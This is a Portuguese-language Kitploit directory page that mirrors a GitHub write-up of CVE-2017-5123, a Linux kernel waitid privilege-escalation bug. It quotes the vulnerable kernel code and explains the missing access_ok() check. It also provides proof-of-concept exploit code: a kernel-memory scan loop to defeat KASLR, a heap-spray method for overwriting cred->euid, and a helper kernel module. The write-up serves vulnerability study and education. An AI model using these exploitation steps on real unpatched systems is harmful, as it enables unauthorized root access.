Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2017-5123 — Análise técnica detalhada e exploit de prova de conceito para CVE-2017-5123, uma vulnerabilidade na syscall waitid do kernel Linux que permite escalonamento de privilégios local devido à falta de verificação access_ok(). | Kitploit
Ferramentas/GitHubGitHub/h1bana/cve-2017-5123
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubh1bana/cve-2017-5123

CVE-2017-5123

Análise técnica detalhada e exploit de prova de conceito para CVE-2017-5123, uma vulnerabilidade na syscall waitid do kernel Linux que permite escalonamento de privilégios local devido à falta de verificação access_ok().

Ver Repositório
há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2017-5123

Visão geral do bug

A chamada de sistema Waitid no kernel Linux não validava o endereço de destino usado. Isso poderia permitir que um usuário local escrevesse na memória do kernel, podendo levar à escalada de privilégios no dispositivo ou a uma fuga de sandbox.

Descrição da vulnerabilidade

Classificação da vulnerabilidade

  • Escalada de privilégios
  • Fuga de sandbox (Chrome)

Código vulnerável

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // essencialmente chama stac(), desativa temporariamente o SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- falta a verificação access_ok() antes de chamar esta função
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // essencialmente chama clac(), reativa o SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

O erro identificado aqui é a falta da verificação access_ok() antes de chamar a função unsafe_put_user(). Nas versões anteriores do kernel, o programa usava a função put_user(), que incluía a chamada de verificação access_ok().

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

Ao usar a função unsafe_put_user(), o programa evita ter que ativar e desativar o SMAP várias vezes consecutivas devido às chamadas user_access_begin() / user_access_end(). A função access_ok() aqui verifica a validade do endereço ptr, garantindo que ele pertence à memória do usuário, impedindo que o usuário escreva na memória do kernel. Portanto, se chamarmos a syscall waitid com o parâmetro infop sendo um endereço do kernel, isso acionará este erro.

Exploração

A falta da verificação access_ok() permite que passemos um endereço do kernel como parâmetro infop do waitid, e então a syscall sobrescreverá esse endereço chamando unsafe_put_user(). Uma limitação aqui é que não podemos controlar o que será escrito no endereço do kernel fornecido. Existem 6 campos usados para escrever: signo, byte nulo, info.cause, info.pid (valor máximo = 0x8000), info.uid, info.status (embora seja do tipo int32, só assume valores >0, <256). O campo mais útil aqui provavelmente será o byte nulo. Podemos usá-lo para sobrescrever cred->euid e cred->uid. Para fazer isso, precisamos saber o endereço desses dois valores.

Bypass do KASLR escaneando a memória

De acordo com kernel.org, o espaço de memória virtual do kernel (Kernel-space virtual memory) compartilhado entre todos os processos começa em 0xffff800000000000. No entanto, de 0xffff800000000000 a 0xffff87ffffffffff é "... guard hole, also reserved for hypervisor", então começaremos a escanear a memória a partir do endereço 0xffff880000000000. Vale notar que podemos escanear a memória porque unsafe_put_user() não causará crash ao acessar endereços inválidos. Isso ajuda a evitar que usuários não privilegiados causem DoS no sistema passando endereços inválidos.

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

Agora que sabemos o endereço do heap do kernel, o próximo passo é determinar o endereço da struct cred.

Encontrando o endereço do Cred com heap spray

Embora saibamos o endereço do heap do kernel, esse endereço pode não ser o início do heap. Portanto, não podemos calcular o endereço exato da struct Cred. Nesse momento, usamos uma técnica chamada heap spray.

  • Se criarmos muitos processos, haverá muitas structs cred na memória. Assim, podemos adivinhar o endereço da struct cred mais facilmente.
  • Esses processos continuam chamando geteuid(); se retornar 0, significa que o processo está rodando com privilégios root -> bingo.
  • O processo pai continua chamando a syscall waitid() usando a vulnerabilidade, adivinhando o endereço da struct cred e sobrescrevendo cred->uid para null.

Depurar para encontrar o endereço da struct cred dos processos filhos consome bastante tempo, então usei um módulo existente para imprimir o endereço de cred->euid via printk().

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

Percebi que há endereços com formas semelhantes, e mesmo após reiniciar, o offset desses endereços permanece similar. Então decidi escolher um endereço e, em seguida, adicionar pagesize em um loop para adivinhar o endereço da struct cred.

image

Vídeo de demonstração da exploração: IMAGE ALT TEXT HERE

Alguns problemas com esta abordagem de exploração

  • A taxa de sucesso não é garantida.
  • Para versões do kernel afetadas por esta vulnerabilidade, o código de exploração pode não funcionar em todas as versões, pois cada versão do kernel possui offsets diferentes do EUID ao fazer spray. Para que o PoC funcione em todas as versões, quando o código de exploração encontra o euid para modificar para null, coloquei o endereço no formato endereço do heap encontrado + offset. É necessário reduzir o offset para algo menor para que possa ser usado em várias versões. No entanto, isso significa um tempo de ataque maior, aumentando a chance de o kernel entrar em pânico/crashar devido à possível escrita em outras estruturas importantes no heap.

Faixa de versões afetadas

  • Versão afetada: linux kernel version 4.13 - 4.13.6
  • Commit onde o bug apareceu (2017-05-21, v4.13-rc1)

A correção

  • O patch adicionou a verificação access_ok()
  • Commit da correção

Conclusão

  • O bug pode ser usado para escalada de privilégios, podendo ser encadeado com a fuga de sandbox do Chrome. Na época em que o bug foi descoberto, o seccomp do Chrome permitia o uso da syscall waitid.

Referências

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
Baixar ferramenta